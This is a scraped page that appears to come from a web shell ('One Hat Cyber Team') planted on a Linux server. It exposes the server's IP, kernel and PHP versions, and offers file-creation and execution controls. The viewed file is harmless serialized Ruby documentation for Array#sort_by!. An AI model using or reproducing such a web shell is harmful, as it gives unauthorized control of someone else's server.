⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.25
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
View File Name :
sort_by%21-i.ri
U:RDoc::AnyMethod[iI" sort_by!:ETI"Array#sort_by!;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I",Sorts the elements of +self+ in place, ;TI"=using an ordering determined by the block; returns self.;To:RDoc::Markup::BlankLine o; ; [I"3Calls the block with each successive element; ;TI"@sorts elements based on the values returned from the block.;T@o; ; [I"^For duplicates returned by the block, the ordering is indeterminate, and may be unstable.;T@o; ; [I"5This example sorts strings based on their sizes:;To:RDoc::Markup::Verbatim; [I"$a = ['aaaa', 'bbb', 'cc', 'd'] ;TI"*a.sort_by! {|element| element.size } ;TI"'a # => ["d", "cc", "bbb", "aaaa"] ;T:@format0o; ; [I"1Returns a new \Enumerator if no block given:;T@o;; [I"$a = ['aaaa', 'bbb', 'cc', 'd'] ;TI"Ga.sort_by! # => #<Enumerator: ["aaaa", "bbb", "cc", "d"]:sort_by!>;T; 0: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"Narray.sort_by! {|element| ... } -> self array.sort_by! -> new_enumerator ;T0[ I"();T@&FI" Array;TcRDoc::NormalClass00